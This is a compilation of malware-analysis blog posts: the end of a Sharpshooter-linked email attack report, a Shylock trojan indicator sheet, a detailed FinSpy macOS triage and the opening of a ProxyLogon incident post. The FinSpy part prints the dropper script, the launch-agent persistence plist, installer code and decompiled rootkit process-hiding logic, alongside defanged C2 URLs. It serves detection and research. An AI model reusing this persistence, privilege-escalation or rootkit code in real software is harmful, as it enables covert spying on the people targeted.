Following the folder path all the way down, it is easy to see where the following executable file is going to be extracted to. Not only is the executable installed to the startup location, but it is also clear that this attack is a highly personalized one. The path traversal only works because the absolute paths are hardcoded to point to the user-specific startup folder. That makes the attack viable only for the machine of the intended email recipient, Idan.
At this point, it is clear that the attacker has compromised the organization. That Yosi’s credentials are in the hands of the attacker. That the recon phase of the attack has been completed, and that the attacker is interested in moving laterally through the organization. It is more than likely that the next target, Idan, has access or information that the attacker is ultimately after.
The malicious executable the attacker expects to have successfully planted on Idan’s machine reveals more about the who and the why. While "Agent" is not a particularly interesting or indicative threat name produced by our system, it is a starting point. It means that the threat itself isn’t particularly unique, and that it shares at least some of the commonality with previously discovered trojans. This is where functional code similarity can help. There is exactly one more file in the ReversingLabs cloud system similar to the one we’re looking at. That file has been classified as RisingSun Trojan by McAfee. The report which McAfee’s Advanced Threat Research team published on the Operation Sharpshooter describes what we’ve seen so far perfectly - an advanced attacker targeting the defense sector.
The suspicion that the attacks are connected is further supported by URLs extracted from the relevant executable. They seem to follow the same pattern as described in McAfee’s report. A look at the executable hex dump also reveals a few striking similarities between the attacks. The email Yosi sent to Idan may very well be an indication of new activity for this APT actor. While the infection techniques seem to have evolved since McAfee published their report in December 2018, the methods of operation remained similar. The list of targets the actor is interested in has apparently been expanded to a new region as well - Israel.
Scouring the web for additional information based on what’s been discovered at this point reveals one more report published by the FireEye Threat Research team. They go into the analysis of this same email, so it is recommended to read their report as a follow-up to our discussion here.
Email is an important threat-carrying vector. Securing an organization's email infrastructure mandates checking all emails received by the organization, whether they are coming from the outside or from within. The ReversingLabs Titanium platform enables such deep inspection with its elastic file processing capabilities. With our platform, the possibility of checking every email message the organization sees becomes the norm. Deploying such a capability within an organization could make the difference between catching the lateral email movement and missing it altogether.
**IOC:**
MIME - 5b5d7d74db59c520b72be1e328563a1ee864e8931a0ae7487d753ee3e166de1c
**URL:**
http://www[.]alahbabgroup[.]com/bakala/verify.php
http://www[.]khuyay[.]org/odin_backup/public/loggoff.php
http://103[.]225[.]168[.]159/admin/verify.php
http://47[.]91[.]56[.]21/verify.php
Read our prior blog in the series on Ransomware in exotic email attachments. |
# Greedy Shylock - Financial Malware
Not one, my lord. Besides, it should appear, that if he had the present money to discharge the Jew, he would not take it. Never did I know a creature, that did bear the shape of man, so keen and greedy to confound a man:
*(The Merchant of Venice W. Shakespeare Act 3, Scene 2)*
On September 7, 2011, Trusteer announced they are investigating new financial malware they called Shylock that "uses unique mechanisms not found in other financial malware toolkits, including: an improved method for injecting code into additional browser processes to take control of the victim’s computer; a better evasion technique to prevent malware scanners from detecting its presence; a sophisticated watchdog service that allows it to resist removal attempts and restore operations." Trusteer called the malware Shylock for Shakespeare quotes in the properties of the file.
**General File Information**
MD5:
4fda5e7e8e682870e993f97ad26ba6b2
bae400baf6760a1646cd44e348eea0f7
742cfd2be5d44fa072802bd4b031e818
1fd7cf2405ae599c1a91fe75912d18ff
d74f5f045c4b0f1d61746ded3a2a152e
fe17c2cddffd731ee6a34457121c6b20
a8ff900f5f3134a1f04d9217ab2d5dd0
715fb3cef70458b857bd55a0259a1265
5571be9c7b0d2e950bada71e72984e7a
72ace5e603bb4a5e2d8ef4434dc31417
9a8657a61daeafd7053017103ab53cd6
File Type: exe
**Exploit Information and Analysis Links**
- New Trusteer Cybercrime Prevention Architecture Adds Browser Exploit Removal and Fraudster Machine Fingerprinting to Arsenal - Trusteer
- Signature and Traffic - ET TROJAN Shylock Module Server Response Emerging sigs
- Debugging Injected Code with IDA Pro by malwareninja
- Shylock via volatility
The file is digitally signed by an invalid digital certificate - the CN may vary.
CN = Astothyfriendsforwhendidfriendshiptake
**Traffic Information**
Server: nginx
Date: Sun, 21 Aug 2011 23:48:10 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 39
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.17
Cache-Control: max-age=0
Expires: Sun, 21 Aug 2011 23:47:40 GMT
hxxp://nw-serv[.]cc/client.html
hxxp://m-sservices[.]at/client.html
hxxp://webhelper[.]at/client.html
hxxp://globstorage[.]at/client.html
hxxp://additional-group[.]at/client.html
91.223.180.66 "56485 | UA | ripencc | 2011-03-02 | THEHOST-AS FOP Sedinkin Olexandr Valeriyovuch"
92.60.177.233 "15772 | UA | ripencc | 2000-10-10 | WNET LLC W Net Ukraine"
92.60.177.235 "15772 | UA | ripencc | 2000-10-10 | WNET LLC W Net Ukraine"
92.60.177.230 "15772 | UA | ripencc | 2000-10-10 | WNET LLC W Net Ukraine"
93.190.45.75 "6849 | UA | ripencc | 1996-11-29 | UKRTELNET JSC UKRTELECOM"
*(The Merchant of Venice W. Shakespeare Act 1, Scene 2)*
ANTONIO: I am as like to call thee so again, to spit on thee again, to spurn thee too. If thou wilt lend this money, lend it not as to thy friends; for when did friendship take a breed for barren metal of his friend? But lend it rather to thine enemy, who, if he break, thou mayst with better face exact the penalty. |
# FinFisher Filleted 🐟
## A triage of the FinSpy (macOS) malware
by: Patrick Wardle / September 26, 2020
Love these blog posts and/or want to support my research and tools? You can support them via my Patreon page!
📝 👾 Want to play along? I’ve added the samples (OSX.FinSpy) to our malware collection (password: infect3d) …please don’t infect yourself!
## Background
Recently, Claudio Guarnieri highlighted some intriguing new research published by his research lab at Amnesty International:
> Sometimes threat intel is hard, sometimes folks leave all FinFisher samples exposed on a webserver. So here ya go, along with recent Windows and Android, we're publishing details on new FinFisher for Mac OS 🍎 and Linux 🐧. — nex (@[email protected]) (@botherder) September 25, 2020
Titled, “German-made FinSpy spyware found in Egypt, and Mac and Linux versions revealed,” this writeup detailed FinFisher’s spyware suite (FinSpy), including “previously undisclosed versions for Linux and MacOS computers”!
As noted in their report:
> "FinSpy is a commercial spyware suite produced by the Munich-based company FinFisher Gmbh. Since 2011 researchers have documented numerous cases of targeting of Human Rights Defenders (HRDs) - including activists, journalists, and dissidents with the use of FinSpy in many countries, including Bahrain, Ethiopia, UAE, and more."
Amnesty’s writeup is a great place to start, and provides a lot of great detail and insights about FinSpy …including the newly uncovered macOS variant. As such, it is a must read: "German-made FinSpy spyware found in Egypt, and Mac and Linux versions revealed."
## Update
Other security researchers have also now published their research:
- “The Finfisher Tales, Chapter 1: The dropper” (by: @osxreverser).
- “How to Catch a Spy | Detecting FinFisher Spyware on macOS” (by: @philofishal).
In this blog post, we provide a hands-on triage of the macOS variant of FinSpy. We build upon Amnesty International’s (great) research, as well as cover new components of the malware, such as its kernel-mode rootkit component.
## FinSpy, for macOS
Amnesty’s writeup notes the discovery of a related sample `caglayan-macos.dmg` (SHA1: 59180391de409c83bef642ad1bca2999ab5fe328) that was “found on Virus Total.” Our triage will focus on this sample, as within the disk image (`.dmg`) is an application bundle, which appears to be a full, self-contained instance of FinSpy.
To start, we mount the disk image via the `hdiutil` command:
```bash
$ hdiutil attach ~/Downloads/FinFisher/caglayan-macos.dmg
/dev/disk2 GUID_partition_scheme
/dev/disk2s1 Apple_HFS /Volumes/caglayan-macos
```
If we examine the (now) mounted disk image (`/Volumes/caglayan-macos`), we see it contains a single item: an application bundle named `Install Çağlayan`:
```bash
/Volumes/caglayan-macos/Install Çağlayan.app
```
Rather unsurprisingly, WhatsYourSign shows that this application is unsigned:
```
Install Çağlayan.app ...unsigned
```
We can also confirm the application is unsigned via macOS’s built-in `codesign` utility:
```bash
$ codesign -dvvv /Volumes/caglayan-macos/Install\ Çağlayan.app
/Volumes/caglayan-macos/Install Çağlayan.app: code object is not signed at all
```
Let’s take a peek at the `Install Çağlayan.app` bundle.
When analyzing a (malicious) application bundle, the application’s `Info.plist` file is a good place to start. To quote the “Art Of Mac Malware”:
> “When an application is launched, the system consults the `Info.plist` property list file, as it contains essential (meta)data about the application. Property list files contain key-value pairs. Pairs that may be of interest when analyzing an application include:
> - CFBundleExecutable: Contains the name of the application’s binary (found in `Contents/MacOS`).
> - CFBundleIdentifier: Contains the application’s bundle identifier (often used by the system to globally identify the application).
> - LSMinimumSystemVersion: Contains the oldest version of macOS that the application is compatible with.”
Here’s the `Install Çağlayan` application’s `Info.plist`:
```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>12F45</string>
<key>CFBundleAllowMixedLocalizations</key>
<true/>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>Install Çağlayan</string>
<key>CFBundleIconFile</key>
<string>NativeInstaller.icns</string>
<key>CFBundleIdentifier</key>
<string>com.coverpage.bluedome.caglayan.desktop.installer</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>2.0</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>4H1503</string>
<key>DTPlatformVersion</key>
<string>GM</string>
<key>DTSDKBuild</key>
<string>10K549</string>
<key>DTSDKName</key>
<string>macosx10.6</string>
<key>DTXcode</key>
<string>0463</string>
<key>DTXcodeBuild</key>
<string>4H1503</string>
<key>LSMinimumSystemVersion</key>
<string>10.6</string>
<key>NSHumanReadableCopyright</key>
<string/>
<key>NSMainNibFile</key>
<string>MainMenu</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
</dict>
</plist>
```
The value for the `CFBundleExecutable` key is `Install Çağlayan`. Meaning the item `Install Çağlayan.app/Contents/MacOS/Install Çağlayan` will be executed when the application is launched (by a victim). As such, we’ll continue our analysis there.
Various key-value pairs provide insight into the ‘age’ of the malware, and malware author’s (build) machine.
- BuildMachineOSBuild -> 12F45 (Mountain Lion 10.8.5)
- DTXcode -> 0463 (Xcode Version 4.6.3)
…yes, rather old!
Somewhat interestingly, the `Install Çağlayan.app/Contents/MacOS/Install Çağlayan` file turns out to be a bash script.
```bash
$ file "Install Çağlayan.app/Contents/MacOS/Install Çağlayan"
Install Çağlayan.app/Contents/MacOS/Install Çağlayan:
Bourne-Again shell script text executable, UTF-8 Unicode text
```
Let’s take a look at this script:
```bash
#!/bin/bash
BASEDIR="$( cd "$(dirname "$0")" && pwd)"
cd "$BASEDIR"
open .log/ARA0848.app
sleep 2
rm Install\ Çağlayan
mv installer Install\ Çağlayan
rm -rf .log
./Install\ Çağlayan
exit
```
After changing into the script’s directory (`cd`), it executes an application (`ARA0848.app`) from a hidden `.log/` directory. It then replaces itself (`Install Çağlayan`) with an item named `installer`. This item (`installer → Install Çağlayan`) is then executed.
This can be observed via our Process Monitor:
```json
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"/bin/bash",
"/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/Install Çağlayan"
],
"path" : "/bin/bash"
}
}
```
The `installer` file is a Mach-O binary, signed with an Apple Developer ID (CoverPage s.r.o. (4F89KD52V4)):
```bash
$ file "Install Çağlayan.app/Contents/MacOS/installer"
Install Çağlayan.app/Contents/MacOS/installer: Mach-O 64-bit executable x86_64
$ codesign -dvvv "Install Çağlayan.app/Contents/MacOS/installer"
Executable=/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/installer
Identifier=com.coverpage.bluedome.caglayan.desktop.installer
Format=Mach-O thin (x86_64)
...
Authority=Developer ID Application: CoverPage s.r.o. (4F89KD52V4)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=May 30, 2017 at 11:55:46 PM
```
…a brief triage indicates this binary is not malicious (perhaps it is a legitimate downloader?). This makes sense, as a victim launching the (malicious) application expects something (non-malicious) to visually happen …otherwise they may become suspicious!
In this case, once `installer` has been renamed to `Install Çağlayan` …and launched, it attempts to install a legitimate version of Adobe Air …likely needed for the legitimate `Çağlayan` application to run.
Since this appears benign, let's turn our attention to `.log/ARA0848.app` …which turns out to be the backdoor installer/launcher. `ARA0848.app` is another unsigned application (recall, that was launched via the `Install Çağlayan` bash script):
When executed, it will launch its application binary `ARA0848.app/Contents/MacOS/installer`. This (Mach-O) binary is also unsigned:
```bash
$ file "Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer"
Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer: Mach-O 64-bit executable x86_64
$ codesign -dvvv "Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer"
/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer: code object is not signed at all
```
…and its detection is currently rather limited. Amnesty’s writeup provided a thorough overview of the actions/capabilities of this binary. As such, much of the information in this section was originally reported in their writeup …although here, we dig a little deeper, and build upon it.
When examining an unknown Mach-O binary, I like to start with the `strings` command, which (as its name implies) will dump embedded (ASCII) strings. Often this provides valuable insight into the capabilities of the binary!
```bash
$ strings - ARA0848.app/Contents/MacOS/installer
ptrace
hw.model
vmware
virtualbox
parallels
system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"
/usr/bin/python
helper2
system.privilege.admin
/bin/launchctl
load
unload
/sbin/kextunload
helper
installer
logind
/tmp
80.bundle.zip
arch.zip
org.logind.ctp.archive
80.bundle
logind.kext
logind.plist
/Library/LaunchAgents
```
Interesting! Appears we have strings related to:
- anti-debugging? (`"ptrace"`)
- virtual machine detection? (`"Manufacturer: (parallels|vmware|virtualbox)"`)
- python scripts? (`"/usr/bin/python"`, `"helper2"`)
- launch agent persistence? (`"/bin/launchctl"`, `"/Library/LaunchAgents"`, `"logind.plist"`)
- kernel extension (rootkit)? (`"logind.kext"`)
As the binary is written in Objective-C, we can use the `class-dump` tool to extract embedded (Objective-C) classes:
```bash
$ class-dump "ARA0848.app/Contents/MacOS/installer"
__attribute__((visibility("hidden")))
@interface appAppDelegate : NSObject
{
}
- (BOOL)askUserPermission:(id)arg1;
- (BOOL)isAfterPatch;
- (void)removeTraces;
- (void)launchOldStyle;
- (BOOL)launchNewStyle;
- (BOOL)installPayload;
- (void)executeTrampoline;
- (void)expandPayload;
- (void)removeOldResource;
- (void)applicationDidFinishLaunching:(id)arg1;
@end
__attribute__((visibility("hidden")))
@interface GIFileOps : NSObject
{
}
+ (void)unloadKext;
+ (BOOL)unloadAgent:(id)arg1;
+ (BOOL)loadAgent:(id)arg1;
+ (BOOL)setFile:(id)arg1 withAttributes:(id)arg2;
+ (BOOL)setDataFileAttributes:(id)arg1;
+ (BOOL)setExecutableFileAttributes:(id)arg1;
+ (BOOL)setDirectoryAttributes:(id)arg1;
+ (id)baseAttributes;
+ (BOOL)setStandardAttributes:(id)arg1;
+ (BOOL)setSuid:(id)arg1;
+ (BOOL)rename:(id)arg1 to:(id)arg2;
+ (BOOL)remove:(id)arg1;
+ (BOOL)move:(id)arg1 to:(id)arg2;
+ (BOOL)createDirectory:(id)arg1 shouldDelete:(BOOL)arg2;
+ (BOOL)copy:(id)arg1 to:(id)arg2;
+ (BOOL)unzip:(id)arg1 to:(id)arg2;
@end
__attribute__((visibility("hidden")))
@interface GIPath : NSObject
{
}
+ (id)masterKeyDirSource;
+ (id)masterKeyDirTarget;
+ (id)supervisorTarget;
+ (id)supervisorSource;
+ (id)supervisorName;
+ (id)agentTarget;
+ (id)agentSource;
+ (id)agentName;
+ (id)coreTarget;
+ (id)coreSource;
+ (id)coreName;
+ (id)kextTarget;
+ (id)kextSource;
+ (id)kextName;
+ (id)expandedMainBundle;
+ (id)expandedPayload;
+ (id)compressedPayload;
+ (id)updatePackage;
+ (id)payload;
+ (id)installer;
+ (id)trampoline;
+ (id)systemTemp;
+ (id)installationMap;
+ (id)executables;
@end
```
Although there aren’t a ton of classes, we definitely have extracted some interesting method names (`"installPayload"`, `"loadAgent:"`, `"kextTarget"`, etc.), which we can analyze in a disassembler, or set breakpoints in a debugger.
Speaking of, time to disassemble and debug! The malware’s main method begins at `0x000000010000174f`. Scrolling through the disassembly, it appears that the malware employs some static obfuscation. In their writeup, the Amnesty researchers shed more light on this:
> "the [malware] developers took measures to complicate its analysis. All the binaries are obfuscated with the open source LLVM-obfuscator developed by a research team in 2013."
Good news, this obfuscation doesn’t really hinder analysis. One can simply scroll past it in a disassembler, or in a debugger set breakpoints on relevant (non-obfuscated) code.
At the start of the malware’s main function, it executes various anti-analysis logic including:
- invoking a function named `deny_ptrace` to prevent debugging via `ptrace` (PT_DENY_ATTACH).
- a call to `_sysctl` perhaps to check for the `P_TRACED` flag.
- virtual machine detection via the enumeration of the system model named, via `sysctlbyname("hw.model" ...)` and via `system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"`.
Once identified, this anti-analysis logic is trivial to bypass in a debugger. How? Simply set a breakpoint(s), then modify the instruction pointer (RIP) to skip over them.
In the writeup, the Amnesty researchers note that the malware will decrypt an encrypted archive:
> "...it then decrypts ...a Zip archive. This archive contains the installer, the main cyload, but also binaries for privilege escalation."
…oh, we definitely want all that! At address `0x100003106` (within a method named `expandPayload`), the malware invokes a method from the `GIFileOps` named `unzip:to:`. Let’s set a debugger breakpoint there:
```bash
(lldb) b 0x0000000100003106
Breakpoint 5: address = 0x0000000100003106
```
When this breakpoint is hit, we can examine the arguments:
```bash
(lldb) Process 1486 stopped
* thread #1, queue = 'com.apple.main-thread'
stop reason = breakpoint 5.1:
-> 0x100003106 : callq *%r12
0x100003109 : movq %r13, %rdi
0x10000310c : callq *0x2cf7e(%rip)
0x100003112 : movq %r15, %rdi
```
Looks like it will unzip a file named `arch.zip` into the user’s `/Library/Caches` directory. If we then step over this method call (via the `si` debugger command), our File Monitor picks up the file events related to the extraction of the (`arch.zip`) archive:
```json
{
"event" : "ES_EVENT_TYPE_NOTIFY_OPEN",
"file" : {
"destination" : "/Users/user/Library/Caches/arch.zip",
"process" : {
"path" : "/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer"
}
}
}
```
Hooray, the malware has (kindly) decrypted and unzipped the archive to `~/Library/Caches/org.logind.ctp.archive`. …and it is full of goodies:
The `file` command can identify each item’s file type:
```bash
$ file *
helper: Mach-O 64-bit executable x86_64
helper2: Python script text executable, ASCII text
helper3: Mach-O executable i386
installer: Mach-O 64-bit executable x86_64
logind: Mach-O 64-bit executable x86_64
logind.kext: directory
logind.plist: XML 1.0 document text, ASCII text
storage.framework: directory
```
Several of these are described in the Amnesty writeup, however, others were not.
- `helper` (sha1: 72cb14bc737a9d77c040affa60521686ffa80b84): A Mach-O binary that exploits a local privilege escalation vulnerability (in macOS < 10.9/10).
- `helper2` (sha1: 9a0ede8fad59e7252502881554be0c21972238c9): A python script that exploits CVE-2015-5889.
- `helper3` (sha1: 427a1c1daf9030069f0c771ce172c104513a7722): A Mach-O binary that exploits the `tpwn` local privilege escalation vulnerability (in macOS < 10.10.5).
- `installer` (sha1: a65965b960b3d322bbae467f51bf215d574b00cc): The malware installer (details below).
- `logind` (sha1: 62e5dc40bfabaa712cd9e32ac755384db07f0dab): The malware’s (persistent) launcher (details below).
- `logind.kext` (sha1: 18e1d03e41b5fc6d54fdda340fe2dab219502f3d): The malware’s rootkit (details below).
- `logind.plist` (sha1: a2aba86d5d763f311dff8250bc8fe98de958bff4): The malware’s launch agent property list (for persistence):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.logind</string>
<key>ProgramArguments</key>
<array>
<string>/private/etc/logind</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key>
<false/>
</dict>
</dict>
</plist>
```
Let’s take a closer look at several of these. First, the malware performs various actions requiring root privileges …which is where the local privilege escalation vulnerabilities (`helper*`) come into play. If the exploits fail (which they will on any recent version of macOS), the malware falls back to a less sophisticated approach:
> "This first stage uses the exploits to get root access. If none of them work, it will ask the user to grant root permissions to launch the next stage installer." -Amnesty International
And what does it do with these root privileges? Sets the “next stage” to be owned by root (via `chown root:wheel`) with the setuid bit set (via `chmod 06777`):
```bash
$ ls -lart /Users/user/Library/Caches/org.logind.ctp.archive/installer
-rwsrwsrwx 1 root wheel 63396 Feb 16 2018 /Users/user/Library/Caches/org.logind.ctp.archive/installer
```
As noted in Pedro’s (@osxreverser) writeup, “The Finfisher Tales, Chapter 1: The dropper” this (next stage) installer is then launched via a method named `installPayload`:
```objc
-(char)installPayload {
...
r14 = [[NSTask alloc] init];
rbx = [[GIPath installer] retain];
[r14 setLaunchPath:rbx];
[r14 launch];
[r14 waitUntilExit];
...
}
```
This method simply invokes the `NSTask` API to launch the (next-stage) installer. In a debugger session, we can observe the (launch) path to the “next stage” installer is `/Users/user/Library/Caches/org.logind.ctp.archive/installer`:
```bash
% lldb .log/ARA0848.app/Contents/MacOS/installer
...
* thread #1, queue = 'com.apple.main-thread'
-[appAppDelegate installPayload] + 0x100
-> 0x1000035e5 : callq *0x2ca9d(%rip)
0x1000035eb : movq %rbx, %rdi
0x1000035ee : callq *0x2ca9c(%rip)
0x1000035f4 : movq 0x2def5(%rip), %rsi
```
Target 0: (installer) stopped.
This launching of this installer can also be passively observed via our Process Monitor:
```json
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"path" : "/Users/user/Library/Caches/org.logind.ctp.archive/installer",
"pid" : 1610,
"ppid" : 1486
}
}
```
Due to its owner (root) and the setuid bit, this “next stage” installer will run with root privileges.
## Next Stage Installer (org.logind.ctp.archive/installer)
As noted in the Amnesty writeup, this installer performs three actions:
1. Copies plugins and config files to `/Library/Frameworks/Storage.framework`.
2. Copies the launcher (`logind`) to `/private/etc/logind`.
3. Persists the launcher, by creating a launch agent plist: `/System/Library/LaunchAgents/logind.plist`.
Let’s take a closer look at it now, to highlight the code responsible for these actions. The `org.logind.ctp.archive/installer` is a Mach-O binary, rather similar (albeit simpler) than its parent (`.log/ARA0848.app/Contents/MacOS/installer`).
For example, both contain a custom `GIFileOps` class that implements various file-related methods (`copy:to:`, `loadAgent`, etc.). Moreover, we find the `llvm`-level obfuscations again:
This (next stage) installer’s main method starts at `0x000000010a3d95ac`. The logic in the main function first checks for the presence of various files (plugins?), such as `/Library/Frameworks/Storage.framework`, `/Contents/Resources/7f.bundle/Contents/Resources/AAC.dat`. It then builds a dictionary of key-value pairs via a call to `[GIPath installationMap]`:
```bash
$ lldb org.logind.ctp.archive/installer
...
* thread #1, queue = 'com.apple.main-thread'
installer`main:
-> 0x10a3da37e : callq *0x6d04(%rip) ;objc_msgSend
(lldb) x/s $rsi
0x10a3df5c7: "installationMap"
(lldb) ni
(lldb) po $rax
{
"/Users/user/Library/Caches/org.logind.ctp.archive/Storage.framework" → "/Library/Frameworks/Storage.framework";
"/Users/user/Library/Caches/org.logind.ctp.archive/logind" → "/private/etc/logind";
"/Users/user/Library/Caches/org.logind.ctp.archive/logind.kext" → "/System/Library/Extensions/logind.kext";
"/Users/user/Library/Caches/org.logind.ctp.archive/logind.plist" → "/Library/LaunchAgents/logind.plist";
}
```
As we can see in the debugger output, this maps files from the decrypted uncompressed archive (`org.logind.ctp.archive`) to their final destinations. The installer then iterates over each of these files, and via a block (at `0x000000010a3da4d2`) moves them from the archive to their (final) destinations:
```objc
files = [GIPath installationMap];
[files enumerateKeysAndObjectsUsingBlock:(void (^)(KeyType src, ObjectType dest, BOOL *stop)) {
[GIFileOps move:src to:dest];
[GIFileOps setStandardAttributes:dest];
}];
```
We can passively observe this via our File Monitor:
```json
{
"event" : "ES_EVENT_TYPE_NOTIFY_RENAME",
"file" : {
"destination" : "/Library/LaunchAgents/logind.plist",
"source" : "/Users/user/Library/Caches/org.logind.ctp.archive/logind.plist"
}
}
```
Of course (and stop me if you’ve heard this before), the creation of a persistence launch agent (`/Library/LaunchAgents/logind.plist`) is detected by BlockBlock:
And speaking of the `logind.plist`, let’s take a look at it:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.logind</string>
<key>ProgramArguments</key>
<array>
<string>/private/etc/logind</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key>
<false/>
</dict>
</dict>
</plist>
```
As the `RunAtLoad` key is set to `true`, the binary, `/private/etc/logind` will be automatically (re)executed each time the system is rebooted and the user logs in. Once the installer has, well, installed (and setuid’d) these various components, it kicks off this persistent launch agent via a call to `[GIFileOps loadAgent:]`. This method simply invokes `launchctl` with the `load` command line argument, and path to the `logind.plist` to:
```objc
-(char)loadAgent:(char *)plist {
task = [[NSTask alloc] init];
[task setLaunchPath:@"/bin/launchctl"];
args = [NSArray arrayWithObjects:@"load", plist, 0x0];
[r15 setArguments:args];
[task launch];
[task waitUntilExit];
}
```
The persistent implant (`/private/etc/logind`) is now off and running!
## Rootkit (logind.kext)
One of the (potentially) more interesting aspects of this malware is its kernel-mode rootkit functionality. Simply put, (public) macOS malware with ring-0 capabilities is rare! The file `logind.kext` is a kernel extension …albeit unsigned:
```bash
$ codesign -dvv org.logind.ctp.archive/logind.kext/Contents/MacOS/logind
logind.kext/Contents/MacOS/logind: code object is not signed at all
```
As the kernel extension is unsigned, it won’t run on any recent version of macOS (which enforce kext code signing requirements). In terms of its functionality, it appears to be a simple process hider. In a function named `ph_init`, the kernel extension looks up a bunch of kernel symbols (via a function named `ksym_resolve_symbol_by_crc32`):
```c
void ph_init() {
rax = ksym_resolve_symbol_by_crc32(0x127a88e8, rsi, rdx, rcx);
*_ALLPROC_ADDRESS = rax;
...
}
```
Based on variable names, it appears that `logind.kext` is attempting to resolve the pointer of the kernel’s global list of `proc` (process) structures, as well as various locks. In a function named `ph_hide`, the kext will hide a process. This is done by walking the list of `proc` structures (pointed to by `_ALLPROC_ADDRESS`), and looking for the one that matches (to hide):
```c
void _ph_hide(int arg0) {
r14 = arg0;
if (r14 == 0x0) return;
r15 = *_ALLPROC_ADDRESS;
if (r15 == 0x0) goto return;
SEARCH:
rax = proc_pid(r15);
rbx = *r15;
if (rax == r14) goto HIDE;
loc_15da:
r15 = rbx;
if (rbx != 0x0) goto SEARCH;
return;
HIDE:
r14 = *(r15 + 0x8);
(*_LCK_MTX_LOCK)(*_LCK_LCK);
*r14 = rbx;
*(rbx + 0x8) = r14;
(*_LCK_MTX_UNLOCK)(*_LCK_LCK);
return;
}
```
In the above code, note that `HIDE` contains the logic to remove the target process of interest, by unlinking it from the (process) list. Once removed, the process is now (relatively) “hidden”. (Of course one can leverage XNU level APIs to uncover such process hiding).
The malicious kext also appears to be able to communicate with user-mode via the file `/tmp/launchd-935.U3xqZw`. Specifically, in a function named `ksym_init`, it will open and read in the contents of this file (which may contain details of the process to hide?):
```c
void ksym_init(int arg0, int arg1) {
*(int32_t *)_MKI_SIZE = fileio_get_file_size("/tmp/launchd-935.U3xqZw", arg1);
rax = _OSMalloc_Tagalloc("MKI", 0x0);
*_MKI_TAG = rax;
if (rax == 0x0) goto .l1;
loc_1898:
rax = _OSMalloc(*(int32_t *)_MKI_SIZE, rax);
*_MKI_BUFFER = rax;
if (rax == 0x0) goto loc_1921;
loc_18b2:
if (fileio_read_file_fully("/tmp/launchd-935.U3xqZw", rax) == 0x0) goto loc_1908;
...
}
```
For more on the topic of Mac rootkits, see: "Revisiting Mac OS X Kernel Rootkits."
Ok, and what about the malware’s C&C communications capabilities? and more? Well good news, that’s already been covered in Amnesty’s writeup. In terms of C&C communications, the researchers note:
> "The spyware communicates with the Command & Control (C&C) server using HTTP POST requests. The data sent to the server is encrypted using functions provided by the 7F module, compressed using a custom compressor and base64 encoded."
Moreover, they uncovered a large list of modules available to the spyware.
## Detections
We noted our free tools can easily detect FinSpy …as always, with no a priori knowledge. Specifically, BlockBlock can detect the malware at runtime, persisting as a launch agent:

And if the malware is already present on the system, a KnockKnock scan can reveal this launch agent as well:

You might be wondering, without specific knowledge of OSX.FinSpy, how would one know that the item `logind`, in KnockKnock's scan is indeed malicious? By design, KnockKnock simply enumerates persistent items installed on macOS system. However, the `logind` item sticks out as it is:
- unsigned
- unrecognized by VirusTotal
…though this does not guarantee such an item is malicious, these observations (in conjunction) are serious red flags, and as such, the item should be closely examined.
To manually detect this variant of OSX.FinSpy, one could also manually check for the existence of:
- `/private/etc/logind` (sha1: 62e5dc40bfabaa712cd9e32ac755384db07f0dab)
- `/Library/LaunchAgents/logind.plist` (sha1: a2aba86d5d763f311dff8250bc8fe98de958bff4)
- `logind.kext` (likely in `/Library/Extensions/`) (sha1: 18e1d03e41b5fc6d54fdda340fe2dab219502f3d)
## Conclusion
Today, we triaged FinFisher’s macOS implant, FinSpy. Although rather somewhat dated, it provided an intriguing look into the world of commercial cyber-espionage malware. And yes, the exploits it leveraged were all public (and long patched) and its rootkit capabilities were rather mundane …but let’s not forget that a more modern version of this threat (or similar commercial implant) could be far more sophisticated!
💕 Support Us: Love these blog posts? You can support them via my Patreon page! |
# Intervention halts a ProxyLogon-enabled attack
**Andrew Brandt**
**May 5, 2021**
In a recently-concluded engagement, Sophos’ Rapid Response team was called in to investigate an attack targeting an Exchange server. During the course of the work, the responders discovered that the attackers were still taking actions inside the target’s network and stopped the slow-rolling, manually controlled attack before any lasting damage could be done.
The target was a large enterprise that has around 15,000 endpoints spread across North America. Sophos discovered the attack, which began with the target’s Exchange server becoming compromised through the use of the ProxyLogon exploit.
